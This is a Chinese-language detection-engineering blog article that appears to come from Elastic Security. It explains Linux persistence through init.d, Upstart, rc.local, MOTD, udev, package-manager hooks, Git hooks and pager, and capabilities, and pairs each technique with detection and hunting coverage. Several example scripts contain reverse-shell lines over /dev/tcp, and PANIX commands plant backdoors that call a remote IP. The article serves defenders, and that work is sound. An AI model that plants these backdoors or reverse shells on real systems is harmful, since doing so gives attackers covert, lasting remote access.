简介
在Linux 检测工程系列的第三部分中,我们将深入探讨 Linux 持久化的世界。我们将从常见或简单的方法开始,逐步转向更复杂或晦涩的技术。我们的目标始终如一:通过检查简单和复杂的方法,了解这些方法的工作原理、如何搜寻它们以及如何制定有效的检测策略,从而教育防御者和安全研究人员掌握 Linux 持久化的基本知识。
在上一篇文章《Linux 检测工程 - 持久化机制入门》中,我们探讨了 Linux 持久化技术的基本方面。如果您错过了,可以在此处找到。
我们将设置持久化机制,分析日志,并观察潜在的检测机会。为了辅助此过程,我们将分享 PANIX,这是一款由 Elastic Security 的 Ruben Groenewoud 开发的 Linux 持久化工具。PANIX 简化并定制了持久化设置,以便测试潜在的检测机会。
在本系列结束时,您将全面了解我们涵盖的每个持久化机制,包括
- 它的工作原理(理论)
- 如何设置它(实践)
- 如何检测它(SIEM 和端点规则)
- 如何搜寻它(ES|QL 和 OSQuery 参考搜寻)
让我们超越基础知识,深入探索 Linux 持久化的世界,这很有趣!
设置说明
为了确保您已准备好检测本文中讨论的持久化机制,请务必启用并更新我们预构建的检测规则。如果您使用的是自定义的规则集,并且没有使用我们所有的预构建规则,那么这是一个测试这些规则并可能填补任何空白的好机会。现在,我们准备开始。
T1037 - 启动或登录初始化脚本:Init
Init 是 "initialization"(初始化)的缩写,是在类 Unix 操作系统上引导过程中由内核启动的第一个进程。它会持续运行直到系统关闭。init 系统的主要作用是启动、停止和管理系统进程和服务。
目前有三个主要的 init 实现:Systemd、System V 和 Upstart。在本系列的第一部分中,我们重点介绍了 Systemd。在本部分中,我们将探讨 System V 和 Upstart。MITRE 没有为 System V 或 Upstart 设置特定的类别。它们通常属于 T1037。
T1037 - 启动或登录初始化脚本:System V init
System V (SysV) init 是最古老和最传统的 init 系统之一。SysV init 脚本正在逐渐被 Systemd 等现代 init 系统所取代。但是,systemd-sysv-generator
允许 Systemd 处理传统的 SysV init 脚本,确保较旧的服务和应用程序仍然可以在较新的框架内进行管理。
/etc/init.d/
目录是 SysV init 系统的关键组成部分。它负责控制系统上服务的启动、运行和关闭。此目录中的脚本在不同的运行级别执行,以管理各种系统服务。尽管 Systemd 已成为许多现代 Linux 发行版中的默认 init 系统,但 init.d
脚本仍被广泛使用和支持,使其成为持久化的可行选择。
init.d
中的脚本用于启动、停止和管理服务。这些脚本使用 root 权限执行,为管理员和攻击者提供了强大的手段,以确保某些命令或服务在启动时运行。这些脚本通常链接到 runlevel 目录,如 /etc/rc0.d/
、/etc/rc1.d/
等,这些目录决定了脚本的运行时间。运行级别从 0 到 6,定义了特定的操作状态,每个状态配置不同的服务和进程来管理系统行为和用户交互。运行级别因发行版而异,但通常如下所示
- 0:关机
- 1:单用户模式
- 2:无网络的多用户模式
- 3:有网络的多用户模式
- 4:未使用
- 5:有网络和 GUI 的多用户模式
- 6:重启
在系统启动期间,脚本会根据当前的运行级别配置执行。每个脚本都必须遵循特定的结构,包括 start
、stop
、restart
和 status
命令来管理关联的服务。前缀为 S
(启动)或 K
(终止)的脚本分别指示在启动或关闭期间执行的操作,并按数字顺序排列。
一个恶意 init.d
脚本的示例可能如下所示
#! /bin/sh
### BEGIN INIT INFO
# Provides: malicious-sysv-script
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
### END INIT INFO
case "$1" in
start)
echo "Starting malicious-sysv-script"
nohup setsid bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'
;;
esac
该脚本必须放置在 /etc/init.d/
目录中,并被授予执行权限。与 Systemd 服务类似,SysV 脚本也必须启用。管理 SysV 配置的常用实用工具是 update-rc.d
。它允许管理员启用或禁用服务,并管理 /etc/rc*.d/
目录中的符号链接(启动和终止脚本),根据脚本的配置自动设置正确的运行级别。
sudo update-rc.d malicious-sysv-script defaults
malicious-sysv-script
现在已启用,并准备好在启动时运行。MITRE 在 T1037 中指定了更多与此技术相关的实际示例和信息。
通过 T1037 实现持久化 - System V init
您可以在 /etc/init.d/
目录中手动设置一个测试脚本,授予其执行权限,启用它并重新启动,或者只需使用 PANIX。PANIX 是一款 Linux 持久化工具,可简化并自定义持久化设置,用于测试您的检测。我们可以通过运行以下命令来轻松建立持久性
> sudo ./panix.sh --initd --default --ip 192.168.1.1 --port 2006
> [+] init.d backdoor established with IP 192.168.1.1 and port 2006.
在重新启动并实际建立持久性之前,我们可以在 Discover 中看到生成以下文档
执行 PANIX 后,它会生成一个名为 /etc/init.d/ssh-procps
的 SysV init 脚本,使用 chmod +x
应用可执行权限,并利用 update-rc.d
。此命令会触发 systemctl daemon-reload
,进而激活 systemd-sysv-generator
,以便在系统启动期间启用 ssh-procps
。
让我们重新启动系统,看看关闭/启动时生成的事件。
由于 SysV init 系统加载较早,因此启动命令不会被记录。由于在事件被摄取之前不可能检测到事件,我们需要创造性地检测这种技术。Elastic 将捕获服务初始化事件的 already_running
事件操作。通过此链,我们能够检测到服务的执行,然后是启动的反向 shell。我们有几个机会来检测这种持久化技术。
类别 | 覆盖范围 |
---|---|
文件 | 创建 System V Init 脚本 |
在 /etc 中创建可疑文件以实现持久化 | |
通过文件修改实现的潜在持久化 | |
进程 | 从不寻常位置执行的 System V Init (init.d) 二进制文件 |
为潜在的持久化脚本设置可执行位 | |
网络 | System V Init (init.d) 出站网络连接 |
搜索 T1037 - System V init
除了依赖检测之外,将威胁搜索纳入您的工作流程非常重要,特别是对于此类持久化机制,因为事件可能会因时序问题而错过。本博客将仅列出每个持久化机制可用的搜索;但是,有关此主题的更多详细信息在之前的持久化文章第一部分末尾进行了概述。此外,描述和参考可以在我们的检测规则存储库中找到,特别是在Linux 搜索子目录中。
我们可以通过 ES|QL 和 OSQuery 搜索 System V Init 持久化,重点关注不寻常的进程执行和文件创建。通过 System V Init 持久化规则包含多个 ES|QL 和 OSQuery 查询,可以帮助搜索这些类型的持久化。
T1037 - 启动或登录初始化脚本:Upstart
Upstart 被引入作为一种替代的 init 系统,旨在提高启动性能并比传统的 SysV init 更动态地管理系统服务。虽然它在许多 Linux 发行版中已被 systemd 大幅取代,但在某些较旧的版本和遗留系统中仍然使用 Upstart。
Upstart 配置的核心位于 /etc/init/
目录中,作业配置文件定义了如何启动、停止和管理服务。每个作业文件指定了依赖项、启动条件以及在启动、停止和其他事件发生时要采取的操作。
在 Upstart 中,运行级别被事件和任务取代,这些事件和任务定义了作业执行的顺序和条件。Upstart 引入了一种更以事件驱动的模型,允许服务根据各种系统事件启动,而不是预定义的运行级别。
Upstart 可以在系统范围或用户会话模式下运行。虽然系统范围的配置放置在 /etc/init/
目录中,但用户会话模式配置位于
~/.config/upstart/
~/.init/
/etc/xdg/upstart/
/usr/share/upstart/sessions/
一个 Upstart 作业文件的示例可能如下所示
description "Malicious Upstart Job"
author "Ruben Groenewoud"
start on runlevel [2345]
stop on shutdown
exec nohup setsid bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'
malicious-upstart-job.conf
文件定义了一个在运行级别 2、3、4 和 5(通用 Linux 访问和网络)上启动并在运行级别 0、1 和 6(关闭/重启)上停止的作业。 exec
行执行恶意有效负载,以在系统启动时建立反向 shell 连接。
要启用 Upstart 作业并确保它在启动时运行,必须将作业文件放置在 /etc/init/
中,并赋予适当的权限。 Upstart 作业由 Upstart init 守护进程
自动识别和管理。
Upstart 早已弃用,Debian 7 和 Ubuntu 16.04 等 Linux 发行版是默认使用 Upstart 的最终系统。这些系统已迁移到 SysV init 系统,完全删除了与 Upstart 的兼容性。根据我们支持矩阵中的数据,只有 Beta 版本的 Elastic Agent 支持其中一些旧操作系统,而最新版本的 Elastic Defend 根本不在其上运行。这些系统已经 EOL 多年,不应再在生产环境中使用。
因此,我们为该技术添加到 通过文件修改实现的潜在持久化检测规则中。如果您仍然在生产环境中运行这些系统,例如使用旧版本的 Auditbeat 来收集其日志,您可以在 /etc/init/
目录中设置 Auditbeat 文件创建和 FIM 文件修改规则,类似于之前的博客和即将到来的部分中提到的技术。与 System V Init 类似,MITRE 在 T1037 中指定了与此技术相关的信息和真实示例。
T1037.004 - 启动或登录初始化脚本:运行控制 (RC) 脚本
rc.local 脚本是在类 Unix 操作系统启动期间执行命令或脚本的传统方法。它位于 /etc/rc.local
,通常用于启动服务、配置网络或执行其他不需要完整 init 脚本的系统初始化任务。在基于 Darwin 的系统和极少数其他类 Unix 系统中,/etc/rc.common
用于相同目的。
较新版本的 Linux 发行版已逐步淘汰 /etc/rc.local
文件,转而使用 Systemd 处理初始化脚本。Systemd 通过 systemd-rc-local-generator 生成器提供兼容性;此可执行文件通过检查 /etc/rc.local
是否存在且可执行来确保向后兼容性。如果它满足这些条件,则将 rc-local.service
单元集成到启动过程中。因此,只要此生成器包含在 Systemd 设置中,/etc/rc.local
脚本将在系统启动期间执行。在 RHEL 衍生版本中,必须授予 /etc/rc.d/rc.local
执行权限,此技术才能正常工作。
rc.local
脚本是一个 shell 脚本,其中包含在系统启动过程结束时(在所有其他系统服务启动后)执行一次的命令或脚本。这使其对于需要在执行前满足特定系统条件的任务很有用。以下是一个简单的后门 rc.local
脚本可能如下所示的示例
#!/bin/sh
/bin/bash -c 'sh -i >& /dev/tcp/$ip/$port 0>&1'
exit 0
上面的命令通过打开一个 bash 会话来创建一个反向 shell,该会话将输入和输出重定向到指定的 IP 地址和端口,从而允许远程访问系统。
为确保 rc.local
在启动期间运行,该脚本必须标记为可执行。在下次启动时,systemd-rc-local-generator
将创建必要的符号链接,以启用 rc-local.service
并执行 rc.local
脚本。 RC 脚本确实收到了 MITRE 的子技术。有关使用 RC 脚本进行持久化的更多信息和真实世界示例可以在 T1037.004 中找到。
通过 T1037.004 实现的持久化 - 运行控制 (RC) 脚本
只要存在 systemd-rc-local-generator
,通过此技术建立持久化非常简单。创建 /etc/rc.local
文件,添加您的有效负载,并将其标记为可执行。我们将利用以下 PANIX 命令来为我们建立它。
> sudo ./panix.sh --rc-local --default --ip 192.168.1.1 --port 2007
> [+] rc.local backdoor established
重新启动系统后,我们可以看到生成以下事件
之前出现的问题再次出现。我们看到 PANIX 的执行,创建 /etc/rc.local
文件并授予其执行权限。在运行 systemctl daemon-reload
时,我们可以看到 systemd-rc-local-generator
在 /run/systemd/generator[.early|late]
目录中创建一个符号链接。
与之前我们遇到的问题类似,我们可以再次使用 already_running
event.action
文档来获取有关执行的一些信息。深入研究后,检测 rc.local
执行的潜在痕迹的一种方法是搜索包含 /etc/rc.local start
条目的文档
我们看到 /etc/rc.local
被启动,之后执行了一个可疑命令。/opt/bds_elf
是一个 rootkit,它利用 rc.local
作为持久化方法。
此外,我们可以利用 syslog 数据源,因为此文件在系统集成初始化时进行解析。您可以使用 Filebeat 或 Elastic Agent 以及 系统集成 来收集 syslog。当查看其执行日志中的潜在错误时,我们可以检测到针对我们的测试和 rootkit 执行的 rc.local
执行事件的其他痕迹
由于检测这些持久化机制存在挑战,因此尽早捕获链中的痕迹非常重要。利用多层防御策略可以增加检测此类技术的机会。
类别 | 覆盖范围 |
---|---|
文件 | rc.local/rc.common 文件创建 |
通过文件修改实现的潜在持久化 | |
进程 | rc.local 脚本的潜在执行 |
为潜在的持久化脚本设置可执行位 | |
Syslog | 可疑的 rc.local 错误消息 |
搜寻 T1037.004 - 运行控制 (RC) 脚本
与 System V Init 检测机会的局限性类似,此技术由于时机问题而面临相同的局限性。因此,搜寻 RC 脚本持久性非常重要。我们可以通过查看 /etc/rc.local
文件的创建和/或修改以及 rc-local.service
systemd 单元/启动项的存在来搜寻此技术。通过 rc.local/rc.common 持久化 规则包含多个 ES|QL 和 OSQuery 查询,可帮助搜寻此技术。
T1037 - 启动或登录初始化脚本:每日消息 (MOTD)
每日消息 (MOTD) 是一项功能,可在用户通过 SSH 或本地终端登录时向其显示消息。为了在登录过程之前和之后显示消息,Linux 使用 /etc/issue
和 /etc/motd
文件。这些消息显示在命令行中,并且在图形登录之前和之后不会显示。/etc/issue
文件通常用于显示登录消息或横幅,而 /etc/motd
文件通常显示问题、安全策略或消息。这些消息是全局的,将在命令行提示符下显示给所有用户。只有特权用户(例如 root)才能编辑这些文件。
除了静态的 /etc/motd
文件外,现代系统通常使用存储在 /etc/update-motd.d/
中的动态 MOTD 脚本。这些脚本生成可包含在 MOTD 中的动态内容,例如当前系统指标、天气更新或新闻标题。
这些动态脚本是执行 shell 命令的 shell 脚本。可以在此目录中创建一个新文件,或者向现有文件添加后门。一旦脚本被授予执行权限,它将在每次用户登录时执行。
RHEL 衍生版本不像 Debian 那样以类似的方式使用动态 MOTD 脚本,因此不受此技术的影响。
一个被植入后门的 /etc/update-motd.d/
文件示例可能如下所示
#!/bin/sh
nohup setsid bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'
像以前一样,MITRE 没有与此相关的特定技术。因此,我们将此技术归类为 T1037。
通过 T1037 持久化 - 每日消息 (MOTD)
应使用类似于上面提供的 payload,以确保后门不会中断 SSH 登录,从而可能引起用户的注意。我们可以像这样利用 PANIX 在基于 Debian 的系统上通过 MOTD 设置持久化
> sudo ./panix.sh --motd --default --ip 192.168.1.1 --port 2008
> [+] MOTD backdoor established in /etc/update-motd.d/137-python-upgrades
要触发后门,我们可以通过 SSH 重新连接到服务器或重新连接到终端。
在上图中,我们可以看到 PANIX 正在执行,它创建了 /etc/update-motd.d/137-python-upgrades
文件并将其标记为可执行。接下来,当用户连接到 SSH/控制台时,payload 将被执行,导致 root 用户发出出口网络连接。这是一个简单的攻击链,我们有几层针对此的检测
类别 | 覆盖范围 |
---|---|
文件 | 每日消息 (MOTD) 文件创建 |
通过文件修改实现的潜在持久化 | |
进程 | 从每日消息 (MOTD) 生成的进程 |
可疑的每日消息执行 | |
为潜在的持久化脚本设置可执行位 | |
网络 | MOTD 执行后接出口网络连接 |
MOTD 子进程的出口网络连接 |
搜寻 T1037 - 每日消息 (MOTD)
可以通过 ES|QL 和 OSQuery 进行 MOTD 持久性搜寻。我们可以通过分析这些目录中的文件创建以及 MOTD 父进程的执行来实现。我们创建了 通过每日消息持久化 规则以帮助完成这项工作。
T1546 - 事件触发的执行:udev
Udev 是 Linux 内核的设备管理器,负责管理 /dev
目录中的设备节点。它动态创建或删除设备节点、管理权限并处理由设备状态更改触发的各种事件。本质上,Udev 充当内核和用户空间之间的中介,确保操作系统适当地处理硬件更改。
当新设备添加到系统(例如 USB 驱动器、键盘或网络接口)时,Udev 会检测到此事件并应用预定义的规则来管理该设备。每个规则都包含匹配设备属性和要执行的操作的键值对。Udev 规则文件按词汇顺序处理,并且规则可以匹配各种设备属性,包括设备类型、内核名称等。Udev 规则在默认目录集中的文本文件中定义
/etc/udev/rules.d/
/run/udev/rules.d/
/usr/lib/udev/rules.d/
/usr/local/lib/udev/rules.d/
/lib/udev/
优先级根据规则文件的源目录进行衡量,并按照上面列出的顺序 (/etc/
→ /run/
→ /usr/
) 优先。当规则匹配时,它可以触发各种操作,包括执行任意命令或脚本。这种灵活性使 Udev 成为恶意行为者持久化的潜在载体。一个 Udev 规则的示例如下所示
SUBSYSTEM=="block", ACTION=="add|change", ENV{DM_NAME}=="ubuntu--vg-ubuntu--lv", SYMLINK+="disk/by-dname/ubuntu--vg-ubuntu--lv"
要利用此方法进行持久化,需要 root 权限。创建规则文件后,需要重新加载规则。
sudo udevadm control --reload-rules
要测试规则,请执行规则文件中指定的操作或使用 udevadm 触发实用程序。
sudo udevadm trigger -v
此外,可以使用 udevadm
监控这些驱动程序,方法是运行
udevadm monitor --environment
Eder 的博客,题为“利用 Linux udev 进行持久化”是一篇非常值得阅读的文章,其中提供了有关此主题的更多信息。此技术有一些局限性,使其更难以利用持久化机制。
- 由于可能会阻止后续事件,因此 Udev 规则仅限于短时间的后台任务。
- 它们无法执行访问网络或文件系统的程序,这是由
systemd-udevd.service
的沙箱强制执行的。 - 长时间运行的进程会在事件处理后终止。
尽管存在这些限制,但绕过包括在 udev 规则之外创建分离的进程以执行植入程序,例如
- 利用
at
/cron
/systemd
进行独立调度。 - 将代码注入到现有进程中。
尽管持久化是通过与 udev 不同的技术设置的,但 udev 仍然会为 at
/cron
/systemd
持久化机制授予持久化机制。MITRE 没有专门针对此机制的技术 — 添加此机制最符合逻辑的技术是 T1546。
AON 的研究人员最近发现了一个名为“sedexp”的恶意软件,它使用 Udev 规则来实现持久化 - 这是一种在野外很少见的技术 - 因此请务必查看他们的研究文章。
通过 T1546 持久化 - udev
PANIX 允许您分别利用 --at
、--cron
和 --systemd
来测试所有这三种技术。或者继续手动测试它。我们可以通过运行以下命令,通过 at
设置 udev 持久化
> sudo ./panix.sh --udev --default --ip 192.168.1.1 --port 2009 --at
要触发 payload,您可以运行 sudo udevadm trigger
或重新启动系统。让我们分析 Discover 中的事件。
在上图中,执行了 PANIX,它创建了 /usr/bin/atest
后门并授予其执行权限。随后,生成 10-atest.rules
文件,并重新加载和触发驱动程序。这导致 At
作为 udevadm
的子进程生成,创建 atspool
/atjob
,并随后执行反向 shell。
Cron 遵循类似的结构;然而,由于 udevadm
的子进程是 bash
,这并不罕见,因此稍微更难捕获恶意活动。
最后,当查看 Udev 生成的文档与 Systemd 结合使用时,我们看到以下内容
除了创建的 12-systemdtest.rules
文件之外,它也没有显示与 udev 的关系。
这导致最后两种机制通过我们之前的 systemd/cron 相关规则而不是特定的 udev 规则来检测。让我们看一下覆盖范围(我们省略了 systemd
/cron
规则,因为这些已经在之前的持久性博客中提到过)
搜索 T1546 - udev
可以通过 ES|QL 和 OSQuery 进行 Udev 持久性的搜索。通过利用 ES|QL,我们可以检测异常的文件创建和进程执行,并通过 OSQuery,我们可以在受管系统上进行实时搜索。为了帮助您入门,我们创建了 通过 Udev 的持久性规则,其中包含几个不同的查询。
T1546.016 - 事件触发执行:安装程序包
包管理器是负责安装、更新和管理软件包的工具。三个广泛使用的包管理器是 APT(高级软件包工具)、YUM(Yellowdog Updater,Modified)和 YUM 的后继者 DNF(Danified YUM)。除了它们的合法用途之外,攻击者还可以利用这些工具通过劫持包管理器的执行流程来在系统上建立持久性,从而确保在例行的包管理操作期间执行恶意代码。MITRE 在标识符 T1546.016 下详细介绍了与此技术相关的信息。
T1546.016 - 安装程序包 (APT)
APT 是基于 Debian 的 Linux 发行版(如 Debian、Ubuntu 及其衍生版本)的默认包管理器。它简化了管理软件包和依赖关系的过程。APT 利用多种配置机制来自定义其行为并提高软件包管理效率。
APT 钩子允许用户在软件包安装、删除或升级操作期间的特定点执行脚本或命令。这些钩子存储在 /etc/apt/apt.conf.d/
中,可用于在安装前后执行操作。APT 配置文件的结构遵循数字排序约定,以控制自定义 APT 各种行为方面的配置片段的应用。一个常规的 APT 钩子看起来像这样
DPkg::Post-Invoke {"if [ -d /var/lib/update-notifier ]; then touch /var/lib/update-notifier/dpkg-run-stamp; fi; /usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true";}; APT::Update::Post-Invoke-Success {"/usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true";};
攻击者可以利用这些配置文件在执行 APT 操作时执行恶意二进制文件或代码。此漏洞扩展到自动过程(如自动更新),从而在启用了自动更新功能的系统上实现持久执行。
通过 T1546.016 实现持久性 - 安装程序包 (APT)
要测试此方法,需要一个利用 APT 的基于 Debian 的系统或 APT 的手动安装。请确保如果您手动执行此步骤,则不会破坏 APT 包管理器,因为精心设计的有效负载是必要的,该有效负载会分离并在后台运行,以免中断执行链。您可以通过运行以下命令来设置 APT 持久性
> sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2012 --apt
> [+] APT persistence established
要触发有效负载,请运行 APT 命令,例如 sudo apt update
。这将生成一个反向 shell。让我们看一下 Discover 中的事件
在上图中,我们看到 PANIX 正在执行,创建 01python-upgrades
文件,并成功建立 APT 钩子。运行 sudo apt update
后,APT 会读取配置文件并执行有效负载,启动 sh
→ nohup
→ setsid
→ bash
反向 shell 链。我们的覆盖范围是多层的,可检测以下事件
T1546.016 - 安装程序包 (YUM)
YUM(Yellowdog Updater,Modified)是基于 Red Hat 的 Linux 发行版(如 CentOS 和 Fedora)中使用的默认包管理系统。YUM 采用 插件架构来扩展其功能,允许用户集成在软件包管理生命周期的各个阶段执行的自定义脚本或程序。这些插件存储在特定的目录中,可以执行诸如日志记录、安全检查或自定义软件包处理等操作。
YUM 插件的结构通常涉及将其放置在以下目录中,例如
/etc/yum/pluginconf.d/
(用于配置文件)/usr/lib/yum-plugins/
(用于插件脚本)
要启用插件,/etc/yum.conf
文件必须设置 plugins=1
。这些插件可以拦截 YUM 操作,修改软件包安装行为,或在软件包事务之前或之后执行其他操作。YUM 插件非常广泛,但基本的 YUM 插件模板可能看起来像 这样
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version = '2.3'
plugin_type = (TYPE_CORE, TYPE_INTERACTIVE)
def init_hook(conduit):
conduit.info(2, 'Hello world')
def postreposetup_hook(conduit):
raise PluginYumExit('Goodbye')
每个插件都必须通过 .conf
配置文件启用
[main] enabled=1
与 APT 的配置文件类似,攻击者可以利用 YUM 插件在例行的软件包管理操作期间执行恶意代码,尤其是在系统更新等自动过程中,从而在易受攻击的系统上建立持久性。
通过 T1546.016 实现持久性 - 安装程序包 (YUM)
与 APT 类似,YUM 插件应仔细制作,以免干扰 YUM 更新执行流程。使用 此示例或通过运行以下命令进行设置
> sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2012 --yum
[+] Yum persistence established
在植入持久性机制后,可以运行类似于 sudo yum upgrade
的命令来建立反向连接。
我们看到 PANIX 正在执行,创建 /usr/lib/yumcon
、/usr/lib/yum-plugins/yumcon.py
和 /etc/yum/pluginconf.d/yumcon.conf
。/usr/lib/yumcon
由 yumcon.py
执行,该文件在 yumcon.conf
中启用。更新系统后,执行反向 shell 执行链(yum
→ sh
→ setsid
→ yumcon
→ python
)。与 APT 类似,我们的 YUM 覆盖范围是多层的,可检测以下事件
T1546.016 - 安装程序包 (DNF)
DNF(Dandified YUM)是现代基于 Red Hat 的 Linux 发行版(包括 Fedora 和 CentOS)中使用的下一代软件包管理器。它取代了 YUM,同时保持了与 YUM 存储库和软件包的兼容性。与 YUM 类似,DNF 利用 插件系统来扩展其功能,使用户能够集成在软件包管理生命周期的关键点执行的自定义脚本或程序。
DNF 插件通过允许自定义和自动化超出标准软件包管理任务的范围来增强其功能。这些插件存储在特定目录中
/etc/dnf/pluginconf.d/
(用于配置文件)/usr/lib/python3.9/site-packages/dnf-plugins/
(用于插件脚本)
当然,dnf-plugins 的位置取决于系统上运行的 Python 版本。与 YUM 类似,要启用插件,必须在 /etc/dnf/dnf.conf
中设置 plugins=1
。DNF 插件的示例可以如下所示
import dbus
import dnf
from dnfpluginscore import _
class NotifyPackagekit(dnf.Plugin):
name = "notify-packagekit"
def __init__(self, base, cli):
super(NotifyPackagekit, self).__init__(base, cli)
self.base = base
self.cli = cli
def transaction(self):
try:
bus = dbus.SystemBus()
proxy = bus.get_object('org.freedesktop.PackageKit', '/org/freedesktop/PackageKit')
iface = dbus.Interface(proxy, dbus_interface='org.freedesktop.PackageKit')
iface.StateHasChanged('posttrans')
except:
pass
与 YUM 一样,每个插件都必须通过 .conf
配置文件启用
[main] enabled=1
与 YUM 的插件和 APT 的配置文件类似,恶意行为者可以利用 DNF 插件在例行软件包管理任务期间注入和执行未经授权的代码。这种攻击向量扩展到诸如系统更新之类的自动化流程,从而可以在启用 DNF 的存储库的系统上实现持久执行。
通过 T1546.016 实现持久性 - 安装程序包 (DNF)
与 APT 和 YUM 类似,应仔细设计 DNF 插件,使其不会干扰 DNF 更新执行流程。您可以使用以下示例或通过运行以下命令进行设置
> sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2013 --dnf
> [+] DNF persistence established
运行类似于 sudo dnf update
的命令将触发后门。请查看事件
执行 PANIX 后,将创建 /usr/lib/python3.9/site-packages/dnfcon
、/etc/dnf/plugins/dnfcon.conf
和 /usr/lib/python3.9/site-packages/dnf-plugins/dnfcon.py
,并且建立后门。这些位置是动态的,基于所使用的 Python 版本。通过 sudo dnf update
命令触发后,将启动 dnf
→ sh
→ setsid
→ dnfcon
→ python
反向 shell 链。与之前类似,我们的 DNF 覆盖是多层的,并检测到以下事件
通过 T1546.016 搜索持久性 - 安装程序包
可以通过 ES|QL 和 OSQuery 执行对软件包管理器持久性的搜索。入侵指标可能包括配置和插件文件的创建/修改,以及 APT/YUM/DNF 父进程的异常执行。通过软件包管理器实现的持久性规则包含多个 ES|QL/OSQuery 查询,您可以使用这些查询来检测这些异常。
T1546 - 事件触发执行:Git
Git 是一种分布式版本控制系统,广泛用于管理源代码和协调协作软件开发。它跟踪文件的更改并支持不同位置的团队高效协作。这使得 Git 成为许多组织的工作站和服务器中都存在的一个系统。可以(滥)用于执行任意代码的两个功能是 Git 钩子 和 Git 分页器。MITRE 没有将特定的技术归因于这些持久性机制,但它们最适合 T1546。
T1546 - 事件触发执行:Git 钩子
Git 钩子是在提交、合并和推送等特定事件之前或之后 Git 执行的脚本。这些钩子存储在每个 Git 存储库中的 .git/hooks/
目录中。它们提供了一种在 Git 工作流期间自定义和自动化操作的机制。常见的 Git 钩子包括 pre-commit
、post-commit
、pre-merge
和 post-merge
。
Git 钩子的一个示例是文件 .git/hooks/pre-commit
,其内容如下
#!/bin/sh
# Check if this is the initial commit
if git rev-parse --verify HEAD >/dev/null 2>&1
then
echo "pre-commit: About to create a new commit..."
against=HEAD
else
echo "pre-commit: About to create the first commit..."
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi
由于这些脚本是在特定操作上执行的,并且脚本的内容可以以用户想要的任何方式进行更改,因此可以滥用此方法来实现持久性。此外,此方法不需要 root 权限,使其成为尚未获得 root 权限的情况下方便的持久性技术。这些脚本也可以在克隆之前添加到 Github 存储库中,从而将它们转变为初始访问向量。
T1546 - 事件触发执行:git 分页器
分页器是一种用于一次查看一个屏幕内容的程序。它允许用户滚动浏览文本文件或命令输出,而不会使文本滚动出屏幕。常见的 分页器 包括 less、more 和 pg。Git 分页器是分页器程序的一种特定用法,用于显示 Git 命令的输出。Git 允许用户配置分页器以控制诸如 git log
之类的命令的显示。
Git 通过以下配置顺序确定要使用哪个分页器
/etc/gitconfig
(系统范围)~/.gitconfig
或~/.config/git/config
(用户特定).git/config
(存储库特定)
指定分页器的典型配置可能如下所示
[core]
pager = less
在此示例中,Git 配置为使用 less 作为分页器。当用户运行类似 git log
的命令时,Git 会通过 less 管道传输输出,以便于查看。指定分页器的灵活性可以被利用。例如,攻击者可以将分页器设置为执行任意代码的命令。这可以通过修改 core.pager
配置以包含恶意命令来实现。让我们来看看本节中讨论的两种技术。
通过 T1546 实现持久性 - Git
要测试这些技术,系统需要一个克隆的 Git 存储库。设置自定义存储库没有意义,因为持久性机制取决于用户操作,这使得隐藏和未使用的 Git 存储库成为不合逻辑的结构。您可以初始化自己的隐藏存储库,并将其与 cron
/systemd
/udev
持久性机制链接起来,以便在设定的时间间隔初始化存储库,但这目前不在讨论范围之内。
要测试 Git 钩子技术,请确保系统上有一个 Git 存储库可用,然后运行
> ./panix.sh --git --default --ip 192.168.1.1 --port 2014 --hook
> [+] 在 /home/ruben/panix 中创建了恶意 pre-commit 钩子
该程序遍历整个文件系统(只要在权限允许的范围内),找到所有存储库并进行后门处理。要触发后门,请运行 git add -A
和 git commit -m "backdoored!"
。这将生成以下事件
在此图中,我们看到 PANIX 正在查找 Git 存储库,添加一个 pre-commit
钩子并授予其执行权限,成功植入后门。接下来,通过 git commit
启动后门,并启动 git
→ pre-commit
→ nohup
→ setsid
→ bash
反向 shell 连接。
要测试 Git 分页器技术,请确保系统上有一个 Git 存储库可用,然后运行
> ./panix.sh --git --default --ip 192.168.1.1 --port 2015 --pager
> [+] Updated existing Git config with malicious pager in /home/ruben/panix
> [+] Updated existing global Git config with malicious pager
要触发负载,请移至后门存储库并运行诸如 git log
之类的命令。这将触发以下事件
PANIX 执行并开始搜索 Git 仓库。一旦找到,配置文件将被更新或创建,并且后门将被植入。调用 Git 分页器(less
)会执行后门,建立 git
→ sh
→ nohup
→ setsid
→ bash
反向连接链。
我们有多个检测层,涵盖了 Git Hook/Pager 持久化技术。
通过 T1546 - Git 搜索持久化
可以通过 ES|QL 和 OSQuery 进行 Git Hook/Pager 持久化搜索。潜在的指标包括 .git/hook/
目录中的文件创建、Git Hook 执行以及 Git 配置文件的修改/创建。Git Hook/Pager 持久化 搜索规则包含多个 ES|QL 和 OSQuery 查询,这将有助于检测此技术。
T1548 - 滥用提权控制机制:进程能力
进程能力 是一种细粒度的访问控制机制,允许将 root 用户的权限划分为不同的单元。这些能力可以为进程独立启用或禁用,用于通过限制进程的权限来增强安全性。不是授予进程完整的 root 权限,而是仅分配必要的权限,从而降低了被利用的风险。这种方法遵循最小权限原则。
为了更好地理解它们,进程能力的一些用例包括例如将 CAP_NET_BIND_SERVICE
分配给需要绑定到端口 80 的 Web 服务器,将 CAP_NET_RAW
分配给需要访问网络接口的工具,或者将 CAP_DAC_OVERRIDE
分配给需要访问所有文件的备份软件。通过利用这些能力,进程能够执行通常只有 root 访问权限才能执行的任务。
虽然开发进程能力是为了增强安全性,但一旦获得 root 权限,攻击者就可以滥用它们来在受损系统上保持持久性。通过在二进制文件或脚本上设置特定的能力,攻击者可以确保其恶意进程以提升的权限运行,并允许在失去 root 访问权限的情况下轻松返回。此外,配置错误可能允许攻击者提升权限。
一些进程能力可以被(滥)用来建立持久性、提升权限、访问敏感数据或执行其他任务。可以执行此操作的进程能力包括但不限于
CAP_SYS_MODULE
(允许加载/卸载内核模块)CAP_SYS_PTRACE
(启用对其他进程的跟踪和操作)CAP_DAC_OVERRIDE
(绕过读/写/执行检查)CAP_DAC_READ_SEARCH
(授予对系统上任何文件的读取权限)CAP_SETUID
/CAP_SETGID
